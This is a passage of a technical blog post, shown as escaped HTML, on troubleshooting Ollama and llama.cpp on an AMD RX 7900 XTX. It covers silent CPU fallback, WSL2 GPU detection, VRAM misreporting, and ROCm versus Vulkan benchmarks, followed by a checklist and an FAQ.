&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;before&lt;/th&gt;&lt;th&gt;after&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;--list-devices&lt;/code&gt;&lt;/td&gt;&lt;td&gt;integrated + dedicated&lt;/td&gt;&lt;td&gt;&lt;strong&gt;only the RX 7900 XTX&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;standalone &lt;code&gt;llama-server&lt;/code&gt;&lt;/td&gt;&lt;td&gt;⛔ &lt;code&gt;kernel image is invalid&lt;/code&gt;&lt;/td&gt;&lt;td&gt;✅ &lt;strong&gt;136 tok/s&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ollama&lt;/td&gt;&lt;td&gt;118 tok/s&lt;/td&gt;&lt;td&gt;&lt;strong&gt;132.5 tok/s&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The reasonable fear was losing VRAM by moving the monitor onto the dedicated card. &lt;strong&gt;Measured: it costs 0.2 GiB.&lt;/strong&gt; With the display running 3440×1440 at 165 Hz off the big card, Ollama still reports &lt;code&gt;total 24.0 GiB / available 23.8 GiB&lt;/code&gt;. The trade is free.&lt;/p&gt;
&lt;p&gt;And a note so you don’t lose your mind: &lt;strong&gt;under Ollama this doesn’t happen&lt;/strong&gt;, because Ollama masks the integrated GPU on its own and to it the dedicated card is &lt;code&gt;ROCm0&lt;/code&gt;. That’s why you can have Ollama working and &lt;code&gt;llama-server&lt;/code&gt; failing on the same machine with the same weights. You’re not imagining it: they’re two different enumerations.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;failure-2-updating-anything-resets-the-backend&quot;&gt;Failure 2: updating anything resets the backend&lt;/h2&gt;
&lt;p&gt;I said it above, but it earns its own section because it’s the most expensive one: &lt;strong&gt;Ollama probes the GPU at startup and that’s it&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;After an AMD driver reinstall, the service just carried on like this:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;inference compute  id=cpu  library=cpu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No error. No warning. &lt;strong&gt;15.89 tok/s against 132.48.&lt;/strong&gt; Restarting Ollama put it back on &lt;code&gt;library=ROCm compute=gfx1100&lt;/code&gt; and back to 132.&lt;/p&gt;
&lt;p&gt;There’s a second version of the same failure, and it’s worse because you don’t trigger it: &lt;strong&gt;every Ollama update reinstalls the ROCm bundle&lt;/strong&gt;. If you’d deliberately switched to Vulkan, the update quietly puts you back on ROCm. Nobody tells you; the number you’d been measuring for weeks simply stops being the same number.&lt;/p&gt;
&lt;p&gt;The operating rule that came out of this: &lt;strong&gt;run the check after touching drivers, BIOS or Ollama version.&lt;/strong&gt; Not after something goes wrong — after touching anything, always, even when nothing seems wrong.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;failure-3-inside-wsl2-there-is-no-gpu-for-ollama-and-there-wont-be&quot;&gt;Failure 3: inside WSL2 there is no GPU for Ollama, and there won’t be&lt;/h2&gt;
&lt;p&gt;This is the one that ate the most time, so here’s the detail so it doesn’t eat yours.&lt;/p&gt;
&lt;p&gt;The question was reasonable: if native Linux beats Windows by 6.7 to 19.5% in tok/s, can I take it inside WSL and skip the reboot? &lt;strong&gt;The answer is that Ollama in WSL doesn’t use the GPU at all.&lt;/strong&gt; And it isn’t a driver problem.&lt;/p&gt;
&lt;p&gt;What I measured, in order:&lt;/p&gt;





































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Check&lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/dev/kfd&lt;/code&gt; and &lt;code&gt;/sys/class/kfd&lt;/code&gt;&lt;/td&gt;&lt;td&gt;⛔ &lt;strong&gt;don’t exist&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/dev/dxg&lt;/code&gt;&lt;/td&gt;&lt;td&gt;✅ exists (the WSL path)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Does HIP compute in WSL?&lt;/td&gt;&lt;td&gt;✅ &lt;strong&gt;YES&lt;/strong&gt; — probe built with &lt;code&gt;hipcc&lt;/code&gt;: &lt;code&gt;hipGetDeviceCount rc=0 n=1&lt;/code&gt;, &lt;code&gt;gfx1100&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Ollama detects GPU&lt;/td&gt;&lt;td&gt;⛔ &lt;code&gt;library=cpu&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;HSA_ENABLE_DXG_DETECTION=1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;⛔ changes nothing&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;llama-server --list-devices&lt;/code&gt; with ROCm&lt;/td&gt;&lt;td&gt;⛔ &lt;code&gt;Available devices: (none)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;llama-server --list-devices&lt;/code&gt; with Vulkan&lt;/td&gt;&lt;td&gt;⛔ &lt;code&gt;Available devices: (none)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;The paradox that explains it:&lt;/strong&gt; HIP &lt;em&gt;does&lt;/em&gt; work in WSL, through the HSA runtime that talks to &lt;code&gt;/dev/dxg&lt;/code&gt;. But &lt;strong&gt;Ollama enumerates GPUs by reading the KFD topology from &lt;code&gt;sysfs&lt;/code&gt;&lt;/strong&gt;, which WSL doesn’t expose. The driver isn’t missing — Ollama is looking through a door WSL doesn’t have.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;OLLAMA_DEBUG=1&lt;/code&gt; the real cause surfaces, otherwise buried:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;failure during llama-server GPU discovery
error=&amp;quot;llama-server --list-devices failed: signal: segmentation fault (core dumped)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There’s a recipe going around — &lt;a href=&quot;https://github.com/ollama/ollama/issues/16551&quot;&gt;Ollama issue 16551&lt;/a&gt;, which is the identical case: same card, same WSL2, same ROCm 7.2 — whose author reports &lt;code&gt;library=ROCm compute=gfx1100&lt;/code&gt; at 100% GPU by dropping in the ROCm bundle and setting &lt;code&gt;HSA_ENABLE_DXG_DETECTION=1&lt;/code&gt;. &lt;strong&gt;Tried here, does not reproduce.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What about the Vulkan backend? In WSL it would need the &lt;strong&gt;&lt;code&gt;dzn&lt;/code&gt;&lt;/strong&gt; ICD (Vulkan over D3D12), which Ubuntu doesn’t package. You could build Mesa with &lt;code&gt;-Dvulkan-drivers=microsoft-experimental&lt;/code&gt; and see what happens, but that’s a lot of work for an uncertain payoff.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Practical conclusion: for Ollama, WSL is out.&lt;/strong&gt; The two exits are Windows Ollama (which does use the GPU, and is what exists today) or booting native Linux. And if you develop inside WSL like I do, the good news is &lt;strong&gt;you don’t need to move Ollama&lt;/strong&gt;: with WSL2 in &lt;code&gt;networkingMode=mirrored&lt;/code&gt;, &lt;code&gt;localhost:11434&lt;/code&gt; from WSL reaches Windows Ollama with zero configuration.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;failure-4-the-model-doesnt-fit-gets-split-and-keeps-answering&quot;&gt;Failure 4: the model doesn’t fit, gets split, and keeps answering&lt;/h2&gt;
&lt;p&gt;When you ask for more context than fits in VRAM, Ollama doesn’t say no. &lt;strong&gt;It splits the model between GPU and CPU and carries on.&lt;/strong&gt; The symptom is &lt;code&gt;size_vram &amp;lt; size&lt;/code&gt; in &lt;code&gt;/api/ps&lt;/code&gt;, and nothing else.&lt;/p&gt;
&lt;p&gt;Measured with &lt;code&gt;qwen3.8&lt;/code&gt; (27.3B) on the 7900 XTX, with &lt;code&gt;OLLAMA_FLASH_ATTENTION=1&lt;/code&gt; and the KV cache at &lt;code&gt;q8_0&lt;/code&gt;:&lt;/p&gt;





















&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align:right&quot;&gt;&lt;code&gt;num_ctx&lt;/code&gt; requested&lt;/th&gt;&lt;th&gt;On GPU&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align:right&quot;&gt;262,144&lt;/td&gt;&lt;td&gt;⛔ &lt;strong&gt;63.4%&lt;/strong&gt; — a third on CPU&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align:right&quot;&gt;131,072&lt;/td&gt;&lt;td&gt;⛔ 92.4%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align:right&quot;&gt;122,880&lt;/td&gt;&lt;td&gt;✅ 100% (with &lt;strong&gt;0.6 GiB&lt;/strong&gt; of headroom)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;With 0.6 GiB free, anything you open on the desktop knocks it over. That ceiling belongs to that afternoon and that display, not to the model.&lt;/p&gt;
&lt;p&gt;And here’s the warning that nearly cost me a bad decision: &lt;strong&gt;&lt;code&gt;ollama ps&lt;/code&gt; underestimates real VRAM by 4.3 to 6.8 GiB.&lt;/strong&gt; Cross-checked against the system counter, across four models:&lt;/p&gt;






























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Model&lt;/th&gt;&lt;th style=&quot;text-align:right&quot;&gt;&lt;code&gt;ollama ps&lt;/code&gt;&lt;/th&gt;&lt;th style=&quot;text-align:right&quot;&gt;Real VRAM&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-oss:20b&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;12.33 GiB&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;16.59 GiB&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;muse-glimmer&lt;/code&gt; (27.9B)&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;15.49 GiB&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;20.77 GiB&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gemma4&lt;/code&gt; (25.8B)&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;17.24 GiB&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;22.37 GiB&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;qwen3.8&lt;/code&gt; (27.3B)&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;16.61 GiB&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;23.36 GiB&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;For memory decisions, the &lt;code&gt;ps&lt;/code&gt; column is useless.&lt;/strong&gt; It’s only good for telling you whether Ollama split to CPU. If you’re working out whether a model fits, measure system VRAM, not what Ollama declares.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #a855f7&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#a855f71a;color:#a855f7&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; LLM Token Counter &amp;amp; AI Cost Calculator &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Count the tokens in your text or prompt and estimate the cost across GPT-5, Claude, Gemini, Kimi K3, Grok and DeepSeek. Exact OpenAI counting, per-call and monthly costs, with prompt caching. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/llm-token-counter/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;contador-tokens&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;failure-5-it-trims-your-context-and-lets-you-believe-you-have-it&quot;&gt;Failure 5: it trims your context and lets you believe you have it&lt;/h2&gt;
&lt;p&gt;A subtler variant of the previous one. Ask &lt;code&gt;muse-glimmer&lt;/code&gt; or &lt;code&gt;gpt-oss&lt;/code&gt; for &lt;code&gt;num_ctx: 262144&lt;/code&gt; and &lt;strong&gt;they load perfectly happily&lt;/strong&gt; — and the &lt;code&gt;context_length&lt;/code&gt; returned by &lt;code&gt;/api/ps&lt;/code&gt; says &lt;code&gt;131072&lt;/code&gt;. What you asked for isn’t what you got.&lt;/p&gt;
&lt;p&gt;The underlying cause is that these models have an architecture ceiling below the card’s. And it explains something counterintuitive that shows up when you measure: &lt;strong&gt;on-disk size does not predict maximum context&lt;/strong&gt;. What decides is whether the model uses a &lt;strong&gt;sliding window&lt;/strong&gt; (SWA) or dense KV:&lt;/p&gt;






























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Model&lt;/th&gt;&lt;th&gt;SWA&lt;/th&gt;&lt;th style=&quot;text-align:right&quot;&gt;KV growth from 16K to 128K&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;muse-glimmer&lt;/code&gt;&lt;/td&gt;&lt;td&gt;2048&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;~0&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-oss&lt;/code&gt;&lt;/td&gt;&lt;td&gt;128&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;+0.36 GiB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gemma4&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1024&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;+0.40 GiB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;qwen3.8&lt;/code&gt;&lt;/td&gt;&lt;td&gt;— (dense KV)&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;+1.35 GiB&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Three of the four hit their architecture ceiling and never notice the VRAM. The only one that actually pays for context is the only one that overflows.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Always read the real &lt;code&gt;context_length&lt;/code&gt; from &lt;code&gt;/api/ps&lt;/code&gt;, not the one you sent.&lt;/strong&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;rocm-or-vulkan-in-2026-what-each-one-wins&quot;&gt;ROCm or Vulkan in 2026: what each one wins&lt;/h2&gt;
&lt;p&gt;This is the year’s underlying shift, and the reason this article lands now. Ollama added &lt;a href=&quot;https://www.phoronix.com/news/ollama-Experimental-Vulkan&quot;&gt;experimental Vulkan support&lt;/a&gt; in 0.12.6 and it has been reaching the binaries through 2026, with the argument of opening the door to the AMD and Intel GPUs ROCm never supported — which is most consumer cards.&lt;/p&gt;
&lt;p&gt;On my machine, forcing each backend with the same Ollama and the same weights, &lt;strong&gt;Vulkan wins&lt;/strong&gt;:&lt;/p&gt;





















&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Model&lt;/th&gt;&lt;th style=&quot;text-align:right&quot;&gt;Vulkan’s gain over ROCm&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-oss:20b&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;+17.8%&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gemma4&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;+30.1%&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;muse-glimmer&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;&lt;strong&gt;+30.3%&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Disjoint ranges across two independent rounds, so the signal is real. And it lines up with what others report: on an RX 9070 XT, Llama 2 7B Q4_0 decodes at &lt;a href=&quot;https://runaihome.com/blog/rdna4-vulkan-vs-rocm-local-llm-benchmark-2026/&quot;&gt;137 tok/s on Vulkan against 101 on ROCm&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;With two caveats almost nobody adds.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First: the delta compares two things at once. On Windows it’s ROCm 7.1 against AMDVLK; on Linux it’s ROCm 7.2.4 against RADV. A worse ROCm inflates exactly the same number as a better Vulkan, and they aren’t separated.&lt;/p&gt;
&lt;p&gt;Second is a cost I didn’t see coming. &lt;strong&gt;Vulkan leaves 0.6 GiB less VRAM available&lt;/strong&gt;: 23.2 GiB declared against 23.8 with ROCm. For three of my four models it makes no difference because they weren’t near the limit. For &lt;code&gt;qwen3.8&lt;/code&gt;, which had exactly 0.6 GiB of headroom, it eats the lot:&lt;/p&gt;

















&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align:right&quot;&gt;&lt;code&gt;num_ctx&lt;/code&gt;&lt;/th&gt;&lt;th&gt;On Vulkan&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align:right&quot;&gt;122,880 (the ROCm ceiling)&lt;/td&gt;&lt;td&gt;⛔ &lt;strong&gt;93.8%&lt;/strong&gt; on GPU&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align:right&quot;&gt;98,304&lt;/td&gt;&lt;td&gt;✅ 100%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;The real trade with this lever isn’t speed against stability: it’s speed against context.&lt;/strong&gt; If your model is near the card’s limit, Vulkan costs you window. If it isn’t, it’s free.&lt;/p&gt;
&lt;p&gt;What remains unmeasured — by me and by almost everyone — is &lt;strong&gt;Vulkan’s stability over multi-hour sessions&lt;/strong&gt;. For a ten-minute chat it doesn’t matter; for an agent looping all afternoon, it does.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;the-full-checklist&quot;&gt;The full checklist&lt;/h2&gt;
&lt;p&gt;What I do now every time I touch this machine:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Disable the integrated GPU in the BIOS&lt;/strong&gt; if you have a Ryzen with graphics. It costs 0.2 GiB and removes an entire axis of ambiguity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Restart Ollama after touching drivers, BIOS or version.&lt;/strong&gt; Not optional: it probes once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check &lt;code&gt;library=&lt;/code&gt; in the startup log.&lt;/strong&gt; Not &lt;code&gt;compute=&lt;/code&gt;, not &lt;code&gt;pci_id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check that &lt;code&gt;ollama ps&lt;/code&gt; says 100% GPU&lt;/strong&gt; before trusting any measurement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read the real &lt;code&gt;context_length&lt;/code&gt; from &lt;code&gt;/api/ps&lt;/code&gt;&lt;/strong&gt;, not the one you sent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For memory decisions, measure system VRAM&lt;/strong&gt;, not the &lt;code&gt;ollama ps&lt;/code&gt; column.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Don’t try it in WSL.&lt;/strong&gt; Point at &lt;code&gt;localhost:11434&lt;/code&gt; against Windows Ollama.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Close Chrome, Spotify and Slack before measuring.&lt;/strong&gt; Less for the tok/s than for the range: a real 2% difference disappears if noise widens it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And the one that covers all of them: &lt;strong&gt;an empty result is not a zero.&lt;/strong&gt; When an instrument returns nothing, the reading isn’t “there is none”; it’s “I couldn’t look.” On this machine, &lt;code&gt;Get-Process | Modules&lt;/code&gt; returned &lt;code&gt;0&lt;/code&gt; modules and I nearly read it as “no layers loaded.” It was 0 because the process was running elevated and I couldn’t see inside. What saved it was having a control case next to it — &lt;code&gt;explorer&lt;/code&gt;, same user, 389 modules. Without that contrast, the zero reads as data.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;if-youre-weighing-up-the-hardware&quot;&gt;If you’re weighing up the hardware&lt;/h2&gt;
&lt;p&gt;The honest conclusion after all of this: &lt;strong&gt;a consumer Radeon runs local models perfectly well in 2026&lt;/strong&gt;, and the numbers sit alongside what gets published for NVIDIA in the same bracket. ROCm 7.2 is the first release where Ollama, LM Studio, llama.cpp and vLLM all work on Radeon without hand-patching.&lt;/p&gt;
&lt;p&gt;What still costs more than on NVIDIA isn’t the tok/s: &lt;strong&gt;it’s the diagnosis&lt;/strong&gt;. Everything in this article is time you wouldn’t have spent on a 4090 — not because the hardware is worse, but because the path is less trodden and the failures are silent instead of loud.&lt;/p&gt;
&lt;p&gt;If that trade works for you — and it works for me, because 24 GB of VRAM at this price doesn’t exist on the other side — this article is the shortcut past the five holes.&lt;/p&gt;
&lt;p&gt;Further reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/local-llm-business-privacy/&quot;&gt;AI Without Sending Data Out: Local LLMs for Law Firms and Small Businesses&lt;/a&gt; — the why behind all of this: what a local model actually solves, and what it doesn’t.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/how-much-openai-claude-gemini-api-costs-2026/&quot;&gt;How Much Do the OpenAI, Claude and Gemini APIs Cost in 2026&lt;/a&gt; — the number to compare against before buying a card.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/ai-model-retirements-2026/&quot;&gt;The AI model your business runs on is being retired&lt;/a&gt; — why keeping the model in-house stops being a luxury.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I know whether Ollama is using my AMD GPU? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; With two checks, not one. First, the server startup log (%LOCALAPPDATA%\Ollama\server.log on Windows, journalctl -u ollama on Linux) must declare library=ROCm or library=Vulkan; if it says library=cpu, there is no GPU. Second, ollama ps must say 100% GPU: any other value means the model is split between GPU and CPU. Ollama raises no error in either case, it just runs slower. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does Ollama run on CPU after a driver update? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because Ollama probes the GPU only once, at startup, and never looks again. If you update drivers, change the BIOS or install a new version while the service is running, it keeps the stale detection and falls back to CPU with no error at all. Measured on an RX 7900 XTX: 15.89 tok/s on CPU against 132.48 on GPU, an 8.3x penalty. The fix is to restart Ollama and re-check the library= line in the log. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can I use an AMD GPU with Ollama inside WSL2? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. Verified in August 2026 with an RX 7900 XTX and ROCm 7.2: Ollama enumerates GPUs by reading the KFD topology from sysfs, and WSL exposes neither /dev/kfd nor /sys/class/kfd. HIP does compute in WSL through /dev/dxg, but Ollama does not look there, and HSA_ENABLE_DXG_DETECTION=1 does not change it. Both ROCm and Vulkan return &amp;quot;Available devices: (none)&amp;quot;. The practical exit is to point at localhost:11434 against Windows Ollama: with WSL2 in networkingMode=mirrored it works with no configuration. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is ROCm or Vulkan better for Ollama on an AMD GPU? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It depends on whether your model is near the VRAM limit. On an RX 7900 XTX, Vulkan wins between 17.8% and 30.3% in tokens per second depending on the model, with disjoint ranges across two rounds. But Vulkan leaves 0.6 GiB less VRAM available (23.2 against 23.8 GiB), so a model that was tight on context stops fitting. The trade is not speed against stability: it is speed against context window. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does llama.cpp fail with &amp;quot;device kernel image is invalid&amp;quot; on a Ryzen? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because the machine has two AMD GPUs: the dedicated card and the CPU&amp;#39;s integrated graphics. ROCm enumerates the integrated one first, the binary picks it, and kernels compiled for gfx1100 do not work on that chip. Neither --device by name nor HIP_VISIBLE_DEVICES nor ROCR_VISIBLE_DEVICES fixes it. The only thing that works is disabling the integrated GPU in the BIOS, and it costs just 0.2 GiB of VRAM. Ollama does not suffer from this because it masks the integrated GPU on its own. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; 